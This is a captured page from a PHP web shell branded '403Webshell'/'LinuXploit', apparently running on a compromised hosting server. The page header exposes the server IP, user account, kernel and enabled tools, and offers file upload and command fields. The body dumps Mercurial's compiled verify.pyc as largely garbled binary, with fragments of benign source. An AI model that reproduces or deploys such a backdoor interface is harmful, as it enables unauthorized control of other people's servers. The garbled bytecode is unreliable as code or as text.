403Webshell
Server IP : 74.208.236.52  /  Your IP : 216.73.217.98
Web Server : Apache
System : Linux infong527 4.4.400-icpu-115 #2 SMP Mon Jul 6 08:15:05 UTC 2026 x86_64
User : u44043973 ( 5404757)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/mercurial/admin/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/mercurial/admin/__pycache__/verify.cpython-313.pyc
�

6�h�(����SSKJr SSKrSSKrSSKrSSKJr SSKJrJ	r	J
r
Jr SSKJ
r
 0r0r\
R "\\5rSr\"SS	S
9S5r0rSrSS
jrSSjrSSjrg)�)�annotationsN�)�_)�error�pycompat�	registrar�requirements)�
stringutilc��g)N�)�args�kwargss  �8/usr/lib/python3/dist-packages/mercurial/admin/verify.py�	noop_funcrs��
�sworking-copy.dirstatesdirstate)�aliasc��UR[S55 URR5up4XR	5nXR	5nSn[
RUR
;nU(aUR5OSn	URRXVX95Hn
URU
5 US-
nM U$)Nschecking dirstate
r�)
�statusr�dirstate�parents�manifestr	�NARROW_REQUIREMENT�narrowmatch�verify�warn)�ui�repo�options�parent1�parent2�m1�m2�errors�	is_narrow�narrow_matcher�errs           r�check_dirstater(s����I�I�a�&�'�(��}�}�,�,�.��G�	
��	�	�	!�B�	
��	�	�	!�B�
�F��/�/�4�3D�3D�D�I�+4�T�%�%�'�$�N��}�}�#�#�B�G�D��
������!���E��Mrc�0�[UR5SSS9Hxup#UnURS5nUSSHnURU05nUnM UR	US5c
X#4XES'MWU[
LdMbSn[R"U5e g)zqCreate a pyramid of checks of the registered checks.
It is a name-based hierarchy that can be arbitrarily nested.c��US$)Nrr)�xs r�<lambda>�build_pyramid.<locals>.<lambda>8s��1�Q�4rT)�key�reverse�.N���s2intermediate checks need to use `verify.noop_func`)�sorted�items�split�
setdefault�getrr�ProgrammingError)	�table�full_pyramid�entry�func�cursor�levels�level�current_node�ms	         r�
build_pyramidrA5s����e�k�k�m���N��������T�"���C�R�[�E�!�,�,�U�B�7�L�!�F�!��:�:�f�R�j�!�)�"'��F�"�:��
��
"�E�A��(�(��+�+�Orc�r�Uc[nUc[nUS:XaU$0nURU5nUc{URU5nUbUnURU5nOUURSS5n[	U5S:Xa1URUS5nUbSXgS4-nURU5nOUnURS5nUbJU(d[X5 [R5 [RUR55 O[U[5 [n	UHzn
U	RU
5n	U	bM[R"[U5[U5-U5n[R"U5n[R"[SU-5US9e [!U	["5(a|[U	R55nU(aZUR%5up�[!U["5(a UR'UR55 O
USXNS'U(aMZU$XTU'U$)	a>Find all checks for a given name and returns a dict of
(qualified_check_name, check_function)

# Examples

Using a full qualified name:
"working-copy.dirstate" -> {
    "working-copy.dirstate": CF,
}

Using a *prefix* of a qualified name:
"store.revlogs" -> {
    "store.revlogs.changelog": CF,
    "store.revlogs.manifestlog": CF,
    "store.revlogs.filelog": CF,
}

Using a defined alias:
"revlogs" -> {
    "store.revlogs.changelog": CF,
    "store.revlogs.manifestlog": CF,
    "store.revlogs.filelog": CF,
}

Using something that is none of the above will be an error.
sfullr0rrrs%s.%ssunknown check %s��hint)�verify_table�verify_alias_tabler6r4�lenrA�pyramid�clear�updater3r�
getsimilar�list�similarity_hint�
InputErrorr�
isinstance�dict�pop�extend)�namer8�alias_tabler9�checks�check�qualified_namer4r=�subtreer>rD�stack�current_namer:s               r�find_checksr[Es���6
�}�����(���w����
�F�
�I�I�d�O�E��}�$����.���%�!�D��I�I�d�O�E��J�J�t�Q�'�E��5�z�Q��!,����q��!:��!�-�#�~�Q�x�&@�@�D�!�I�I�d�O�E�����Z�Z��
�F�����%�.��
�
�����|�)�)�+�,��e�W�%��G����+�+�e�$���?��#�#�D��$5��U��$C�T�J�D��(�(��.�D��"�"�1�%8�4�%?�#@�t�L�L�
��'�4� � ��W�]�]�_�%���"'�)�)�+��L��%��&�&����U�[�[�]�+�$)��8��Q�x� �
�e��M��t���Mrc	�^!�URS5 [R"[5nU(d[R
"[
S55e[U5GHmnURS5n[
S5n	[R"[
S5U-U	S9n
[U5S:waU
eUup�U(dU
eURS5n[U5S:waU
eUum!n
U
(dU
eS	UT!4-n[UUUUS
9nUGH�nURU5nUc&[
S5n[R"UUT!4-5e[US
5(de[URS5(d$[R"[
S5UT!4-5e[U!4SjURR 55nUunnnSn[%U[&5(a?[(R*"U
5nUc#[R"[
S5X�4-5eUnOt[%U[,5(a?[(R."U
5nUc#[R"[
S5X�4-5eUnO [R0"S[3U55eT!UU;a$[R"[
S5T!U4-5eUceUUUT!'GM� GMp UR55HunnUU;dM0UU'M UR55GHunnURU5nXn0nUceURce[URS5(deURR (agURR Vs0sH nUS[6R8"US5_M" nnU(aUR55Hunn U UU'M
 [:R<"U5n[>R@"U40UD6X'URSX�4-5 GM U$!["a% [R"[
S5UT!4-5ef=fs snf)z�Given a dict of checks (fully qualified name to function), and a list
of options as given by the user, pass each option down to the right check
function.s#passing options to check functions
s`checks` required�:s@syntax is 'check:option=value', eg. revlogs.changelog:copies=yessinvalid option '%s'rCr�=s%s:%s�r8rTr9Ns0specified option '%s' for unselected check '%s'
r;rscheck '%s' has no option '%s'c3�<># �UHoST:XdM
Uv� M g7f)rNr)�.0�o�option_names  �r�	<genexpr>�pass_options.<locals>.<genexpr>�s ����'�1�!�q�T�[�5H�A�A�1�s��	s'%s' is not a boolean ('%s')s'%s' is not a list ('%s')sunsupported type %ssduplicated option '%s' for '%s'rrsmerged options for '%s': '%r'
)!�debug�collections�defaultdictrPr�Errorrr2r4rNrGr[r6�hasattrr;�nextr�
StopIterationrO�boolr
�	parseboolrL�	parselistr7�typer3�copy�deepcopyr�	strkwargs�	functools�partial)"rrUrr8rTr9�	to_modify�optionr4rD�option_error�
check_name�option_value�value�path�matching_checksrSrV�msg�matching_option�_name�typ�
_docstring�as_typed�as_bool�as_list�f�cmd_optionsr;�merged_optionsrb�k�vrcs"                                 @r�pass_optionsr��sM����H�H�
4�5��'�'��-�I���k�k�!�0�1�2�2���/�����T�"���
0�
���'�'�
�$�%��.�T�
���u�:��?���#(� �
�����"�"�4�(���u�:��?���"���U�����:�{�3�3��%���#�%�	
��$�D��J�J�t�$�E��}��L�M���&�&�s�d�K�-@�'@�A�A��5�&�)�)�)�)��5�:�:�y�1�1��&�&��6�7�4��:M�M���
�"&�'�$�z�z�1�1�'�#��&5�"�E�3�
��H��#�t�$�$�$�.�.�u�5���?��*�*��9�:�d�]�J���#���C��&�&�$�.�.�u�5���?��*�*��6�7�4�-�G���#���,�,�-C�T�#�Y�O�O��i��o�-��&�&��8�9�[�$�<O�O��� �+�+�+�/7�	�$���,�c$�A"�j�<�<�>���a��y� � �I�d�O�"�
$-�?�?�#4��
�K��
�
�:�&���!����� � � ��z�z�%�%�%��u�z�z�9�-�-�-�-��:�:���49�:�:�3E�3E��3E�a��!��d�m�m�A�a�D�)�)�3E�
���'�-�-�/�D�A�q�()�N�1�%�0��$�$�^�4��&�.�.�t�?�w�?���
���3�z�6K�K�L�'$5�*�M��}!�
��&�&��6�7�4��:M�M���
��hs�)P#�	'Q�#/Qc
�R�0nUc/nUc/nUHFn[UUUUS9n	SRU	5n
URSX�4-5 URU	5 MH UR	5VVs0sHup�U[
R"X�U5_M nnn[UUUUUUS9n
U
$s snnf)aGiven a list of function names and optionally a list of
options, return matched checks with merged options (command line options
values take precedence on default ones)

It runs find checks, then resolve options and returns a dict of matched
functions with resolved options.
r_s, s found checks '%s' for name '%s'
)r[�joinrfrJr3rtrur�)rr�namesrr8rTr9�funcsrS�matched�
matched_names�nr�rUs              r�
get_checksr�&s��� 
�E��}������������#�%�	
���
�
�7�+�
�
���5��8M�M�N�
���W���<A�;�;�=�I�=�4�1�Q�	�!�!�!��.�
.�=�E�I��
�
����!�
�F��M��
Js�,$B#)NNN)NNNNN)�
__future__rrgrqrt�i18nr�rrrr	�utilsr
rErF�verify_checkrVrr(rHrAr[r�r�rrr�<module>r�s���#�����7�7���������|�-?�@�����{�3��4��$
��
,� [�D���
@�L��
���0r

Youez - 2016 - github.com/yon3zu
LinuXploit